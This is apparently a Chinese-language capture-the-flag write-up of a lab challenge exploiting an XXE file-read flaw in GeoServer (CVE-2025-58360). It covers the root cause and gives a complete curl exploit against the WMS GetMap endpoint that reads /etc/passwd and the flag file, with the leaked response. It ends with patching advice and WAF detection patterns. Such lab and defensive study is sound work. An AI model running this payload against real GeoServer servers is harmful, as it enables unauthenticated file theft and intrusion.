解题报告:GeoServer XXE 任意文件读取(CVE-2025-58360)
平台: 玄机 (xj.edisec.net)
题目 ID: 443
难度: 简单
类型: 渗透
积分: 300 分
完成状态: ✅ 已完成
Flag: FLAG{CVE-2025-58360_GeoServer_XXE_Success}
一、漏洞背景
CVE-2025-58360 是 GeoServer(一款开源地理空间数据服务器)中存在的 XML 外部实体注入(XXE) 漏洞。该漏洞于 2025 年 11 月 25 日由 XBOW 安全研究团队披露,CVSS v3 评分 8.2(高危),且已被 CISA 确认存在在野利用。
| 属性 | 详情 |
|---|---|
| CVE 编号 | CVE-2025-58360 |
| 影响版本 | GeoServer ≤ 2.25.5 及 2.26.0--2.26.1 |
| 修复版本 | GeoServer 2.25.6 / 2.26.2 / 2.27.0+ |
| 漏洞类型 | XML 外部实体注入(XXE → 任意文件读取 / SSRF) |
| 漏洞端点 | POST /geoserver/wms(operation=GetMap) |
| CVSS 评分 | 8.2(高危) |
| 认证要求 | 无需认证(未授权可利用) |
二、靶机信息
| 项目 | 值 |
|---|---|
| 靶机公网 IP | 68.79.22.133 |
| 靶机内网 IP | 10.0.10.2 |
| 服务端口 | 8081 |
| 服务路径 | /geoserver |
| 目标文件 | /usr/local/flag.txt |
三、漏洞分析
3.1 漏洞成因
GeoServer 的 WMS(Web Map Service)GetMap 操作支持通过请求体传入 StyledLayerDescriptor(SLD) 格式的 XML 数据,用于描述地图渲染样式。然而,GeoServer 使用的 XML 解析器未禁用外部实体解析(DTD/ENTITY),导致攻击者可以在 SLD XML 中定义外部实体,引用服务器本地文件,从而实现任意文件读取。
POST /geoserver/wms?service=WMS&request=GetMap&...
Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
<!ENTITY xxe SYSTEM "file:///etc/passwd"> ← 定义外部实体
]>
<StyledLayerDescriptor version="1.0.0">
<NamedLayer>
<Name>&xxe;</Name> ← 引用实体,触发文件读取
</NamedLayer>
</StyledLayerDescriptor>
3.2 数据泄露路径
GeoServer 在处理 GetMap 请求时,将 <Name> 标签的内容作为图层名称进行查找。当图层名称不存在时,服务器会在 ServiceExceptionReport 响应中返回 Unknown layer: <图层名> 的错误信息,而此时图层名已被替换为外部实体的文件内容,从而实现带内(In-Band)XXE 数据泄露。
四、漏洞利用过程
4.1 确认服务可访问
bash
curl -s -o /dev/null -w "HTTP Status: %{http_code}\n" \
http://68.79.22.133:8081/geoserver/web/
# 返回 HTTP 302(重定向至登录页),确认 GeoServer 服务存在
4.2 构造 XXE Payload
bash
curl -s -X POST \
-H "Content-Type: application/xml" \
"http://68.79.22.133:8081/geoserver/wms?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90" \
--data '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
<!ENTITY xxe SYSTEM "file:///usr/local/flag.txt">
]>
<StyledLayerDescriptor version="1.0.0">
<NamedLayer>
<Name>&xxe;</Name>
</NamedLayer>
</StyledLayerDescriptor>'
4.3 服务器响应(含 Flag)
服务器返回 XML 格式的错误响应,文件内容在 <ServiceException> 标签中泄露:
xml
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE ServiceExceptionReport SYSTEM
"http://68.79.22.133:8081/geoserver/schemas/wms/1.1.1/WMS_exception_1_1_1.dtd">
<ServiceExceptionReport version="1.1.1">
<ServiceException>
Unknown layer: FLAG{CVE-2025-58360_GeoServer_XXE_Success}
</ServiceException>
</ServiceExceptionReport>
Flag 成功读取: FLAG{CVE-2025-58360_GeoServer_XXE_Success}
五、关键技术要点
1. 带内 XXE(In-Band XXE):本漏洞属于带内 XXE,文件内容直接在 HTTP 响应体中返回,无需外带(OOB)通道,利用极为简单。
2. 无需认证 :/geoserver/wms 端点无需登录即可访问,攻击者可直接发起利用。
3. 一次请求即可获取 Flag :整个利用过程仅需一条 curl 命令,响应时间约 2 秒,极为高效。
4. 数据泄露载体:GeoServer 将未知图层名称原样返回在错误信息中,这是 XXE 数据泄露的关键路径。
六、修复建议
| 修复方向 | 具体措施 |
|---|---|
| 升级版本 | 升级至 GeoServer 2.25.6、2.26.2 或 2.27.0 及以上版本 |
| 禁用外部实体 | 在 XML 解析器配置中设置 FEATURE_SECURE_PROCESSING = true,禁用 DTD 和外部实体 |
| 网络访问控制 | 限制 GeoServer 管理端口仅对可信 IP 开放 |
| WAF 规则 | 检测请求体中包含 <!DOCTYPE、<!ENTITY、SYSTEM 等 XXE 特征的请求 |